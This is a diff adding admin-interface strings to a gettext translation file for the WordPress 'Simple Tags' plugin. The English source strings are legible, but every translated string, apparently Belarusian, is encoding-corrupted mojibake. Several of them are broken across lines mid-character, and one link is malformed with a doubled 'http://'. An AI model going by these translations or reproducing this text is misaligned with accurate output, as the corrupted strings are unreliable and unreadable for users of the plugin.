+msgid "<code>blogonly</code> &ndash; Only on your blog."
+msgstr "<code>blogonly</code> &ndash; Ð¢ÐŸÐ»ÑÐºÑ ÐœÐ° Ð²Ð°ÑÑÐŒ Ð±Ð»ÐŸÐ³Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:330
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:354
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:358
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:382
+msgid "<code>homeonly</code> &ndash; Only on your home page."
+msgstr "<code>homeonly</code> &ndash; Ð¢ÐŸÐ»ÑÐºÑ ÐœÐ° Ñ
+Ð°ÑÐœÑÐ¹ ÑÑÐ°ÑÐŸÐœÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:331
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:355
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:359
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:383
+msgid "<code>singularonly</code> &ndash; Only on your singular view (single & page)."
+msgstr "<code>singularonly</code> &ndash; Ð¢ÐŸÐ»ÑÐºÑ Ñ Ð°ÐŽÐ·ÑÐœÐºÐ°Ð²ÑÐŒ Ð¿ÑÐ°Ð³Ð»ÑÐŽÐ·Ðµ (Ð°ÐŽÐ·ÑÐœ Ð·Ð°Ð¿ÑÑ Ñ ÑÑÐ°ÑÐŸÐœÐºÐ°)."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:332
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:356
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:360
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:384
+msgid "<code>singleonly</code> &ndash; Only on your single view."
+msgstr "<code>singleonly</code> &ndash; Ð¢ÐŸÐ»ÑÐºÑ Ñ Ð°ÐŽÐ·ÑÐœÐºÐ°Ð²ÑÐŒ Ð¿ÑÐ°Ð³Ð»ÑÐŽÐ·Ðµ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:333
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:357
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:361
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:385
+msgid "<code>pageonly</code> &ndash; Only on your page view."
+msgstr "<code>pageonly</code> &ndash; Ð¢ÐŸÐ»ÑÐºÑ Ð¿ÑÑ Ð¿ÑÐ°Ð³Ð»ÑÐŽÐ·Ðµ ÑÑÐ°ÑÐŸÐœÐºÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:335
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:363
+msgid "Post tag separator string:"
+msgstr "ÐÐ°ÐŽÐ·ÐµÐ»ÑÐœÑÐº Ñ ÑÐ°ÐŽÐºÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ð·Ð°Ð¿ÑÑÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:336
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:364
+msgid "Text to display before tags list:"
+msgstr "Ð¢ÑÐºÑÑ ÐŽÐ»Ñ Ð¿Ð°ÐºÐ°Ð·Ñ ÐŽÐ° ÑÐ¿ÑÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:337
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:365
+msgid "Text to display after tags list:"
+msgstr "Ð¢ÑÐºÑÑ ÐŽÐ»Ñ Ð¿Ð°ÐºÐ°Ð·Ñ Ð¿Ð°ÑÐ»Ñ ÑÐ¿ÑÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:338
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:366
+msgid "Max tags display:"
+msgstr "ÐÐ°ÐºÑÑÐŒÑÐŒ Ð¿Ð°ÐºÐ°Ð·Ð²Ð°ÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:339
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:367
+msgid "You must set zero (0) for display all tags."
+msgstr "ÐÑ Ð¿Ð°Ð²ÑÐœÐœÑ ÑÑÑÐ°Ð»ÑÐ²Ð°ÑÑ Ð·ÐœÐ°ÑÑÐœÐœÐµ Ñ ÐœÑÐ»Ñ (0) ÐºÐ°Ð± Ð¿Ð°ÐºÐ°Ð·Ð°ÑÑ ÑÑÐµ Ð¿Ð°Ð·ÐœÐ°ÐºÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:340
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:368
+msgid "Include categories in result ?"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ ÑÑÐ±ÑÑÐºÑ Ñ Ð²ÑÐœÑÐº ?"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:341
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:448
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:369
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:476
+msgid "Tag link format:"
+msgstr "Ð€Ð°ÑÐŒÐ°Ñ ÑÐ¿Ð°ÑÑÐ»ÐºÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:342
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:370
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:398
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:416
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:449
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:370
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:398
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:426
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:444
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:477
+msgid "You can find markers and explanations <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">in the online documentation.</a>"
+msgstr "ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ Ð·ÐœÐ°Ð¹ÑÑÑ ÐŒÐ°ÑÐºÐµÑÑ Ñ ÑÐ°ÑÑÐ»ÑÐŒÐ°ÑÑÐœÐœÑ ÑÑÐœÐºÑÑÐ¹ ÐœÐ° ÑÑÐ°ÑÐŸÐœÐºÐ°Ñ
+ Ð°ÐœÐ»Ð°Ð¹Ðœ-ÐŽÐ°ÐºÑÐŒÐµÐœÑÐ°ÑÑÑ: <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">Ð°ÑÑÐ³ÑÐœÐ°Ð»ÑÐœÐ°Ð¹</a> Ð°Ð±ÐŸ <a href=\"http://lecactus.ru/2007/10/07/851\">ÑÑÑÐºÐ°Ð¹</a> ÐºÐ°Ð± Ð»ÐµÐ¿Ñ ÑÐ°Ð·Ð°Ð±ÑÐ°ÑÑÐ° Ñ ÐœÐ°Ð»Ð°ÐŽÐ°Ñ
+."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:343
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:371
+msgid "Text to display if no tags found:"
+msgstr "Ð¢ÑÐºÑÑ ÐŽÐ»Ñ Ð¿Ð°ÐºÐ°Ð·Ñ, ÐºÐ°Ð»Ñ Ð¿Ð°Ð·ÐœÐ°ÐºÑ ÐœÐµ Ð·ÐœÐŸÐ¹ÐŽÐ·ÐµÐœÑÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:344
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:374
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:403
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:461
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:372
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:402
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:431
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:489
+msgid "<strong>Advanced usage</strong>:"
+msgstr "<strong>ÐÐ°ÑÑÑÐ°ÐœÐ°Ðµ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÐœÐœÐµ</strong>:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:345
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:373
+msgid "You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÑÑ ÑÐŸÐ¹ Ð¶Ð° ÑÑÐœÑÐ°ÐºÑÑÑ ÑÐº ÐŽÐ»Ñ ÑÑÐœÐºÑÑÑ <code>st_the_tags()</code> ÐŽÐ»Ñ ÐœÐ°Ð»Ð°ÐŽÑ Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ. ÐÐ»ÑÐŽÐ·ÑÑÐµ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">Ð°ÑÑÐ³ÑÐœÐ°Ð»ÑÐœÑÑ</a> Ð°Ð±ÐŸ <a href=\"http://lecactus.ru/2007/10/07/851\">ÑÑÑÐºÑÑ</a> ÐŽÐ°ÐºÑÐŒÐµÐœÑÐ°ÑÑÑ ÐŽÐ»Ñ Ð²ÑÐ»ÑÐºÑÑ
+ ÐŽÑÑÐ°Ð»ÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:348
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:376
+msgid "Automatically display related posts into feeds"
+msgstr "ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° ÐŽÐ°ÐŽÐ°Ð²Ð°ÑÑ Ð·Ð²ÑÐ·Ð°ÐœÑÑ Ð·Ð°Ð¿ÑÑÑ Ñ ÑÐžÐŽÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:349
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:377
+msgid "Automatically display related posts into post content"
+msgstr "ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° ÐŽÐ°ÐŽÐ°Ð²Ð°ÑÑ Ð·Ð²ÑÐ·Ð°ÐœÑÑ Ð·Ð°Ð¿ÑÑÑ Ñ Ð·ÐŒÐµÑÑÑÐ²Ð° Ð·Ð°Ð¿ÑÑÐ°Ñ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:359
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:387
+msgid "Related Posts Order:"
+msgstr "ÐÐ°ÑÐ°ÐŽÐ°Ðº Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð·Ð°Ð¿ÑÑÐ°Ñ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:361
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:389
+msgid "<code>date-asc</code> &ndash; Older Entries."
+msgstr "<code>date-asc</code> &ndash; Ð¡ÑÐ°ÑÑÑ Ð·Ð°Ð¿ÑÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:362
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:390
+msgid "<code>date-desc</code> &ndash; Newer Entries."
+msgstr "<code>date-desc</code> &ndash; ÐÐŸÐ²ÑÑ Ð·Ð°Ð¿ÑÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:363
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:391
+msgid "<code>count-asc</code> &ndash; Least common tags between posts"
+msgstr "<code>count-asc</code> &ndash; ÐÐ°Ð¹ÐŒÐµÐœÑ Ð°Ð³ÑÐ»ÑÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ð¿Ð°ÐŒÑÐ¶ Ð·Ð°Ð¿ÑÑÐ°ÐŒÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:364
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:392
+msgid "<code>count-desc</code> &ndash; Most common tags between posts (default)"
+msgstr "<code>count-desc</code> &ndash; ÐÐ°Ð¹Ð±ÐŸÐ»ÐµÐ¹ Ð°Ð³ÑÐ»ÑÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ð¿Ð°ÐŒÑÐ¶ Ð·Ð°Ð¿ÑÑÐ°ÐŒÑ (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:365
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:383
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:430
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:438
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:393
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:411
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:458
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:466
+msgid "<code>name-asc</code> &ndash; Alphabetical."
+msgstr "<code>name-asc</code> &ndash; ÐÐ»ÑÐ°Ð²ÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:366
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:384
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:431
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:439
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:394
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:412
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:459
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:467
+msgid "<code>name-desc</code> &ndash; Inverse Alphabetical."
+msgstr "<code>name-desc</code> &ndash; ÐÐ»ÑÐ°Ð²ÑÑ Ñ Ð·Ð²Ð°ÑÐŸÑÐœÑÐŒ Ð¿ÐŸÑÑÐŽÐºÐµl."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:367
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:385
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:432
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:395
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:413
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:460
+msgid "<code>random</code> &ndash; Random."
+msgstr "<code>random</code> &ndash; ÐÑÐ¿Ð°ÐŽÐºÐŸÐ²Ð°."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:369
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:397
+msgid "Post link format:"
+msgstr "Ð€Ð°ÑÐŒÐ°Ñ ÑÐ¿Ð°ÑÑÐ»ÐºÑ Ð·Ð°Ð¿ÑÑÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:371
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:399
+msgid "Maximum number of related posts to display: (default: 5)"
+msgstr "ÐÐ°ÐºÑÑÐŒÐ°Ð»ÑÐœÑ Ð»ÑÐº Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð·Ð°Ð¿ÑÑÐ°Ñ ÐŽÐ»Ñ Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ: (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ: 5)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:372
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:400
+msgid "Enter the text to show when there is no related post:"
+msgstr "Ð£Ð²ÑÐŽÐ·ÑÑÐµ ÑÑÐºÑÑ, Ð¿Ð°ÐºÐ°Ð·Ð²Ð°ÐµÐŒÑ ÐºÐ°Ð»Ñ ÐœÑÐŒÐ° Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð·Ð°Ð¿ÑÑÐ°Ñ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:373
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:402
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:452
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:401
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:430
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:480
+msgid "Enter the positioned title before the list, leave blank for no title:"
+msgstr "Ð£Ð²ÑÐŽÐ·ÑÑÐµ Ð·Ð°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº, Ð¿Ð°ÐºÐ°Ð·Ð²Ð°ÐµÐŒÑ Ð¿ÐµÑÐ°ÐŽ ÑÐ¿ÑÑÐ°ÐŒ. ÐÐ°ÐºÑÐœÑÑÐµ Ð¿ÑÑÑÑÐŒ ÐºÐ°Ð»Ñ Ð·Ð°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº ÐœÐµ Ð¿Ð°ÑÑÑÐ±ÐµÐœ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:375
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:403
+msgid "You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÑÑ ÑÐŸÐ¹ Ð¶Ð° ÑÑÐœÑÐ°ÐºÑÑÑ ÑÐº ÐŽÐ»Ñ ÑÑÐœÐºÑÑÑ <code>st_related_posts()</code> ÐŽÐ»Ñ ÐœÐ°Ð»Ð°ÐŽÑ Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ. ÐÐ»ÑÐŽÐ·ÑÑÐµ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">Ð°ÑÑÐ³ÑÐœÐ°Ð»ÑÐœÑÑ</a> Ð°Ð±ÐŸ <a href=\"http://http://lecactus.ru/2007/10/07/851\">ÑÑÑÐºÑÑ</a> ÐŽÐ°ÐºÑÐŒÐµÐœÑÐ°ÑÑÑ ÐŽÐ»Ñ Ð²ÑÐ»ÑÐºÑÑ
+ ÐŽÑÑÐ°Ð»ÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:378
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:406
+msgid "Maximum number of related tags to display: (default: 5)"
+msgstr "ÐÐ°ÐºÑÑÐŒÐ°Ð»ÑÐœÑ Ð»ÑÐº Ð¿Ð°ÐºÐ°Ð·Ð²Ð°ÐµÐŒÑÑ
+ Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº: (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ: 5)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:379
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:407
+msgid "Order related tags:"
+msgstr "ÐÐ°ÑÐ°ÐŽÐ°Ðº Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:381
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:428
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:436
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:409
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:456
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:464
+msgid "<code>count-asc</code> &ndash; Least used."
+msgstr "<code>count-asc</code> &ndash; ÐÐ°Ð¹ÐŒÐµÐœÑ Ð²ÑÐºÐ°ÑÑÑÑÐŸÑÐ²Ð°ÐœÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:382
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:429
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:410
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:457
+msgid "<code>count-desc</code> &ndash; Most popular. (default)"
+msgstr "<code>count-desc</code> &ndash; ÐÐ°Ð¹Ð±ÐŸÐ»ÐµÐ¹ Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÑÑ. (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:387
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:415
+msgid "Related tags type format:"
+msgstr "Ð€Ð°ÑÐŒÐ°Ñ Ð·Ð²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:389
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:409
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:445
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:417
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:437
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:473
+msgid "<code>list</code> &ndash; Display a formatted list (ul/li)."
+msgstr "<code>list</code> &ndash; ÐÐ°ÐºÐ°Ð·Ð°ÑÑ ÑÐ°ÑÐŒÐ°ÑÐ°Ð²Ð°ÐœÑ ÑÐ¿ÑÑ (ul/li)."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:390
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:410
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:446
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:418
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:438
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:474
+msgid "<code>flat</code> &ndash; Display inline (no list, just a div)"
+msgstr "<code>flat</code> &ndash; Ð£Ð±ÑÐŽÐ°Ð²Ð°ÑÑ (ÐœÐµ ÑÐ¿ÑÑ, Ð¿ÑÐŸÑÑÐ° div)"
+
